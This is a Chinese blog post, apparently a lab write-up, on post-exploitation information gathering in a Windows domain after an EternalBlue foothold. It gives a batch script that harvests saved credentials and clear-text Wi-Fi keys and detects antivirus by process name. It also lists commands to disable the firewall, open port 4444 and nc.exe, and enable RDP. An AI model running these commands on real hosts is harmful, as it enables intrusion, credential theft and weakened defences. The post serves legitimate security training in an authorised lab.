内网渗透信息收集1

测试需授权,剑本无罪,看持剑之人欲加如何。
任何因为本篇技术问题引发的法律风险,请自行承担。
重要声明:本文所有内容仅为授权范围内渗透测试学习、虚拟机实验演示。未经目标系统所有者书面授权,禁止对任何网络、主机开展扫描、入侵、渗透操作。任何利用本文技术内容实施非法操作引发的全部法律责任,由行为人自行承担。网络空间不是法外之地,非法入侵计算机系统属于刑事犯罪。
什么是内网渗透?我的理解比较片面。下面我将结合ai浅谈一下我对内网渗透的理解,由于刚学没多久,请大佬们多多指教。内网渗透是指web打点或者钓鱼以及物理接入等在获得目标网络边界的一台主机或一个初始访问点后,攻击者/渗透测试人员进一步进入组织内部网络,进行信息收集、权限提升、横向移动,最终控制更多主机、特权账户或核心系统(如域控、数据库、业务服务器)的过程。
为什么要进行内网渗透信息收集?从“打游戏”的战争迷雾状态,到逐渐开视野。信息收集不是一开始做一次就结束,而是贯穿整个内网过程。
它主要解决四个问题:

我在哪?
本机系统、补丁、进程、服务、网络连接、路由、DNS、域成员关系、当前权限。

周围有什么?
存活主机、网段、端口服务、共享、数据库、Web 资产、VPN、代理、跳板。

我是谁?我能变成谁?
本地账户、域用户、组、OU、GPO、ACL、会话、凭证、SPN、信任关系。AD 环境里,身份和信任关系往往比单个漏洞更关键。

对方怎么防?
杀软、EDR、日志、流量监控、蜜罐、应急响应速度、封禁策略。防护强的环境里,信息收集本身就可能触发告警。

所以信息收集的质量,直接决定后面是“盲打”还是“有路径地验证”。
实验设备,windows server2016(域控主机),windows server2008(存在永恒之蓝 MS17-010 漏洞,作为初始立足点;虚拟机环境下 VMware Tools 无法正常安装,不能直接拖拽文件,因此拿到 Shell 后需要通过网络方式上传木马,否则 CS 难以正常上线,这是实操踩坑后的体会)kali(c2服务器),windows server2003,windows server2008和windows server2003作为域内主机。
实验开始时,kali会先进行监听,然后拿到shell打进windows server2008后,上传木马文件上线cs,进行域内收集。这篇文章默认你有以上这些基础。
后面由于虚拟机内部不好拍照,我们将结合ppt进行思路说明。
PixPin_2026-10-12_08-42-52
首先呢,L师傅比较口语话,就是很简单的一个问题,内网信息收集也分对面防护强和防护弱,防护太弱的可以上手扫,但是扫之前还有一堆要考虑的事,比如目标防火墙和杀软等各种疑难杂症,不会找师傅去。太强的得手动逐步fuzz边界。
专业点说的话就是内网信息收集的操作方式完全取决于目标内网的防护级别,针对性区分操作手法:目标防护层级较弱时,可直接使用自动化扫描工具,快速探测内网存活主机、端口服务、域信息等资产;若目标防护设备完善、应急响应灵敏,则需规避批量扫描的特征,通过手动逐一对边界节点进行FUZZ探测,低调搜集内网信息,避免操作特征被安全设备捕获触发拦截与应急告警。
今天我们先讨论防护较弱的目标。
自动化信息收集脚本参考

@echo off
setlocal enabledelayedexpansion
rem ============================================================
rem  Windows Local Info Collection Script (wmic-based)
rem  Output: <hostname>_info.txt
rem ============================================================

set "OUT=%COMPUTERNAME%_info.txt"

echo [+] Starting local information collection...
echo [+] Output will be saved to: %OUT%

(
echo ================================================================
echo   WINDOWS HOST INFORMATION COLLECTION REPORT
echo ================================================================
echo   Hostname   : %COMPUTERNAME%
echo   User       : %USERDOMAIN%\%USERNAME%
echo   Arch       : %PROCESSOR_ARCHITECTURE%
echo   OS         : %OS%
echo   WindowsDir : %WINDIR%
echo   TempDir    : %TEMP%
echo   Time       : %date% %time%
echo ================================================================

echo.
echo [01] SYSTEM INFORMATION
echo ================================================================
systeminfo

echo.
echo [02] SYSTEM ARCHITECTURE
echo ================================================================
echo %PROCESSOR_ARCHITECTURE%

echo.
echo [03] IP CONFIGURATION
echo ================================================================
ipconfig /all

echo.
echo [04] ROUTING TABLE
echo ================================================================
route print

echo.
echo [05] ARP TABLE
echo ================================================================
arp -a

echo.
echo [06] TCP/UDP CONNECTIONS
echo ================================================================
netstat -ano

echo.
echo [07] SYSTEM UPTIME / STATISTICS
echo ================================================================
net statistics workstation

echo.
echo [08] USER ACCOUNTS WITH SID
echo ================================================================
wmic useraccount get name,SID,fullname,disabled,lockout /format:list

echo.
echo [09] LOCAL GROUPS
echo ================================================================
net localgroup

echo.
echo [10] ADMINISTRATORS GROUP
echo ================================================================
net localgroup administrators

echo.
echo [11] SESSIONS
echo ================================================================
net session

echo.
echo [12] PROCESSES WITH PATH
echo ================================================================
wmic process get Name,ProcessId,ParentProcessId,ExecutablePath /format:list

echo.
echo [13] SERVICES
echo ================================================================
wmic service get Caption,Name,PathName,State,StartMode,StartName /format:list

echo.
echo [14] STARTUP ITEMS
echo ================================================================
wmic startup get command,caption,location,user /format:list

echo.
echo [15] SCHEDULED TASKS
echo ================================================================
schtasks /query /fo LIST /v

echo.
echo [16] HOTFIXES / PATCHES
echo ================================================================
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:list

echo.
echo [17] INSTALLED SOFTWARE
echo ================================================================
wmic product get name,version,vendor,installdate /format:list

echo.
echo [18] SHARES
echo ================================================================
wmic share get name,path,status /format:list

echo.
echo [19] DISK / VOLUME INFO
echo ================================================================
wmic logicaldisk get caption,size,freespace,volumename,description /format:list
wmic volume get label,deviceid,driveletter,filesystem,capacity,freespace /format:list

echo.
echo [20] NETWORK ADAPTERS
echo ================================================================
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:list

echo.
echo [21] FIREWALL STATE
echo ================================================================
netsh firewall show state
netsh advfirewall show allprofiles state

echo.
echo [22] RDP SERVICE / PORT
echo ================================================================
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

echo.
echo [23] PROXY CONFIGURATION
echo ================================================================
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

echo.
echo [24] SAVED CREDENTIALS
echo ================================================================
cmdkey /l

echo.
echo [25] RECENT DOCUMENTS
echo ================================================================
dir %APPDATA%\Microsoft\Windows\Recent

echo.
echo [26] RDP SAVED CREDENTIALS
echo ================================================================
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

echo.
echo [27] WIFI PROFILES WITH PASSWORD
echo ================================================================
netsh wlan show profiles
netsh wlan show profiles key=clear

echo.
echo [28] ANTIVIRUS PRODUCT
echo ================================================================
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list

echo.
echo [29] ANTIVIRUS PROCESS CHECK
echo ================================================================
tasklist /svc | findstr /i "360tray 360safe 360sd ZhuDongFangYu 360rp 360safebox MsMpEng avp Kaspersky Mcshield McAfee egui ekrn nod32 QQPCRTP QQPCTray KSafeTray KWatch SafeDogGuardCenter safedog yunsuo BaiduSd BaiduSdSvc BaiduSdTray usysdiag wsctrl hipstray avguard avgnt ashDisp Sophos FortiTray vsmon outpost spidernt"

echo.
echo [30] OS DETAIL
echo ================================================================
wmic os get name,version,installdate,lastbootuptime,localdatetime,manufacturer,registereduser,servicepackmajorversion,systemdirectory /format:list

echo.
echo [31] MAPPED NETWORK DRIVES
echo ================================================================
net use

echo.
echo ================================================================
echo   COLLECTION COMPLETE
echo ================================================================
) > "%OUT%" 2>&1

echo.
echo [+] Done! Report saved to: %OUT%
dir "%OUT%" | findstr "%OUT%"

https://blog.csdn.net/hj06112/article/details/151935776
csdn还有一篇py的收集脚本,不过内网的域内机器没有py环境你不是炸了吗?
大致解释下脚本作用
新版脚本的作用:把一台刚拿下的内网机器彻底摸清,为下一步提权/横向/免杀/持久化提供决策依据。

在渗透流程中的位置

拿到 shell → 【信息收集】→ 提权 → 横向 → 定位域控/目标 → 拿域
              ↑ 你现在在这

没有这步,后面就是瞎打。新版脚本就是干这个的。

核心作用:每项收集都对应一个后续动作

收集项 回答的问题 直接服务
wmic useraccount get SID 有哪些账户?SID 结尾 500 是内置管理员、1000+ 是普通用户 判断权限、找目标账户
net localgroup administrators 谁是管理员 确定提权后能拿谁
wmic qfe(补丁) 打了哪些补丁 判断 MS17-010 等漏洞能不能打
wmic os get version 系统版本 选对应 exp
wmic process(带路径+父进程) 跑了什么、谁是父进程 找杀软、找注入目标、判断 C2 干扰
wmic service(带路径+启动账户) 哪些服务可写、以什么权限跑 服务提权、持久化
wmic startup 启动项 持久化位置 + 查已有后门
ipconfig /all + route print 我在哪个网段、能到哪 画内网拓扑、定横向范围
netstat -ano 连了谁、谁连我 找域控、找内网服务
net config workstation 加没加域、域控是谁 锁定域控 IP
wmic share 开了什么共享 横向移动的入口
cmdkey /l + RDP 凭证 存了谁的登录凭证 直接拿凭据横向
代理配置 怎么出网 C2 回连方式选择
防火墙状态 哪些端口通 木马回连端口选择
杀软(WMI + 进程双查) 装了什么杀软 决定免杀怎么做
WIFI 密码 无线网络 无线渗透/横向扩展
RDP 端口 3389 改没改 远程桌面接入

为什么"wmic 化"是关键升级

旧版 net user 只给你一堆名字,看到 jack 你也不知道他是啥。

新版 wmic useraccount get name,SID 一眼看到:

jack   S-1-5-21-...-1104   ← 普通域用户
admin  S-1-5-21-...-500    ← 内置管理员

SID 直接告诉你权限等级,不用猜。根据 SID 直接判断权限,更全的价值。

实战用法

脚本跑完,你拿着 txt 就能立刻做三件事:

  1. 提权:看补丁 + OS 版本 → 选 exp
  2. 横向:看内网拓扑 + 共享 + 凭证 → 定下一个目标
  3. 免杀/持久化:看杀软 + 启动项 + 服务 → 定落地和驻留方案
    局限性:
    wmic 在 Win10 21H2 之后、Server2019 及更新系统已经标记为弃用,部分高版本 Windows 会限制 wmic 执行;还有脚本一次性批量执行大量 wmic、schtasks 查询,在有 EDR / 日志审计的真实环境,大量 wmic 调用属于高告警行为,只适合弱防护的机器和靶场。

说句题外话,写文章有一点就是圈内人认为算是基础的东西圈外人一点都不懂,所以我的这篇文章很多东西我会默认你已经会了。
1.网络配置信息
ipconfig PixPin_2026-10-12_10-25-22
提示,cs的becon中所有命令前要加shell
PixPin_2026-10-12_10-56-20

思考一点我们为什么要获取网络配置信息。对我们有什么作用。
ai的回答比较全面,

1. 定位自己
ipconfig /all 这类信息能告诉你:

本机 IP、子网掩码、网关;

DNS 服务器、DNS 后缀;

主机名、域成员关系;

DHCP 信息、MAC 地址;

是否有 IPv6、VPN、虚拟网卡、多网卡。

这些信息合起来,基本能判断:

我在哪个网段;

我是不是域内主机;

我连的是办公网、服务器网、DMZ,还是实验网;

我的 DNS 指向谁,谁可能是域控或内网 DNS。

比如实验里 Win2008 的 ipconfig /all 如果显示:

IP:10.0.0.20/24

网关:10.0.0.1

DNS:10.0.0.10

DNS 后缀:corp.local

那你就能推断:

同网段大概是 10.0.0.0/24;

10.0.0.10 很可能是域控或内网 DNS;

这台机器已经加域;

后续域信息收集可以围绕 corp.local 和 10.0.0.10 展开。

2. 确定可达范围
IP 只是一部分,掩码、网关、路由表更重要。

子网掩码决定同网段有多大,比如 /24 还是 /16;

网关决定跨网段怎么走;

路由表决定本机能不能到其他网段;

ARP 表能看出最近和谁通信过;

netstat 能看出本机在连哪些服务、哪些端口。

这些信息帮你判断:

哪些目标可以直接访问;

哪些目标需要经过跳板;

哪些网段虽然存在,但当前主机到不了;

哪些连接是现成的,可以顺着摸过去。

内网渗透最怕“拿到 Shell 就乱扫”。网络配置信息就是让你知道:该扫哪、不该扫哪、先扫哪。

3. 找关键节点
网络配置里经常藏着高价值目标:

DNS 服务器:大概率是域控或核心基础设施;

网关:可能是防火墙、路由器、核心交换;

DHCP 服务器:可能是网络设备或服务器;

WINS、代理、VPN 地址:可能是边界通道;

域后缀、主机名规律:能推断域结构和资产命名。

在 AD 环境里,DNS 尤其关键。很多域信息收集、Kerberos、LDAP、SMB、GPO,都绕不开 DNS。你看到 DNS 指向谁,基本就找到了域内信息收集的入口之一。

4. 发现跳板和多宿主主机
如果一台机器有多张网卡,价值就很高。

比如:

网卡 1:10.0.0.20/24

网卡 2:192.168.1.20/24

这说明它同时连接两个网段,可能成为横向移动的跳板。
再比如有 VPN 网卡、虚拟网卡、Docker 网卡、云内网网卡,也可能意味着额外的网络路径。

所以 ipconfig /all 不只是看 IP,还要看:

有几张网卡;

每张网卡在哪个网段;

是否有 VPN、虚拟化、容器网络;

默认路由走哪张网卡。

5. 判断出网与 C2 通道
你实验里遇到“CS 上线失败”,很可能就和网络配置有关:

目标能不能出网?

默认路由指向哪?

有没有代理?

有没有 NAT?

防火墙是否只允许特定端口?

目标能不能回连 Kali 的 IP 和端口?

网络配置信息能帮你判断:

C2 应该走哪个网段、哪个协议、哪个端口;

需不需要端口转发、代理、隧道;

目标是否只能通过某台跳板出网。

这也是为什么拿到 Shell 后,先看网络配置,比急着上传木马更稳。

6. 规划横向优先级
信息收集不是“看到什么扫什么”,而是排优先级。

网络配置能帮你排出:

同网段、低防护、高价值主机;

DNS、域控、数据库、备份服务器;

多网卡跳板;

跨网段核心系统;

防护强、告警灵敏、不能碰的系统。



7. 评估防护和网络分段
网关、路由、DNS、代理、VPN 这些信息,也能侧面反映防护:

网关是不是防火墙;

网段之间是否隔离;

有没有代理和流量审计;

DNS 是否集中管理;

是否存在微隔离、VPN 分段、堡垒机。

防护强的环境里,网络配置信息还能帮你判断:

哪些扫描会跨防火墙;

哪些操作可能触发 NDR/流量告警;

哪些路径更低调。

8. 为后续信息收集提供种子
网络配置信息是后续收集的“种子”:

IP 段 → 存活探测;

DNS → 域控、域信息;

主机名规律 → 资产命名;

域后缀 → AD 查询;

网关 → 网络设备;

ARP/Netstat → 已通信主机;

路由 → 跨段目标。


上面是ai的回答,我认为主要是1,4,5,6,8
如果你要问我,为什么我喜欢贴ai的话,因为我想让你自己去思考ai对不对,我的提炼不一定准确,ai也未必完整。扯一点,刚刚一个朋友用ai搞渗透测试已经删了一个政府部门的24w条数据,目前已经快进去了。你可以认为我很懒,但是我还是想让你自己去思考。写文章不是什么好东西都喂给你,网络安全这个行业不现实,也不可能。我不可能把企业真实的内网环境给你。我感觉就AI输出的这么点内容,应该比你平常的项目保密协议应该少很多吧。 扯远了,我们继续。
2.操作系统和软件信息
(1)查询操作系统和版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本"

(2)查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
PixPin_2026-10-12_18-01-31
挂木马exp的使用,要判断32位还是64位
(3)查看安装的软件及版本

wmic product get name,version
powershell "Get‐WmiObject ‐class win32_product | Select‐Object ‐Property name,version"

**3.进程信息 **

tasklist
wmic process list brief

4.**启动程序信息 **
wmic startup get command,caption
**计划任务信息 **
**5.如果出现无法加载列资源 **
输入:chcp 437
schtasks /query /fo LIST /v
**6.防火墙相关操作 **
(1)、查看防火墙是否开启
netsh firewall show state
(2)、关闭防火墙强
Windows server 2003:
netsh firewall set opmode disable
Windows server 2003之后:
netsh firewall set opmode disable 或者

netsh advfirewall set allprofiles 
state off

(3)、查看防火墙配置
netsh firewall show config
(4)、修改防火墙配置
2003及之前的版本,允许指定的程序进行全部的连接:
netsh firewall add allowedprogram c:\nc.exe "allownc" enable
2003之后的版本,允许指定的程序进行全部的连接
netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="C:\nc.exe"
允许指定程序退出,命令如下
netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C: \nc.exe"
允许3389端口放行,命令如下

netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 
action=allow
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444#允
许

4444端口进站

netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe  #允许a.exe进
站  
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=4444#

允许4444端口出站

netsh advfirewall firewall add rule name=test dir=out action=allow 
program=c:\a.exe#允许a.exe出站

**7.开启远程服务 **
(1)、在2003机器上
wmic path win32_terminalservicesetting where (_CLASS !="") call setallowtsconnections 1
(2)、在server2008和server 2021

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t 
REG_DWORD /d 00000000 /f  #开启
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t 
REG_DWORD /d 11111111 /f  #关闭

后面很多命令我也懒得解释了,慢慢查ai吧。
肯定不只这么多,这个具体问题具体分析,光记命令没用,一般都是遇到特定内网环境,查资料遍查边弄,或者拿agent跑,现在挖洞,内网全在用agent。

posted @ 2026-10-12 18:23  你好,星  阅读(13)  评论(0)    收藏  举报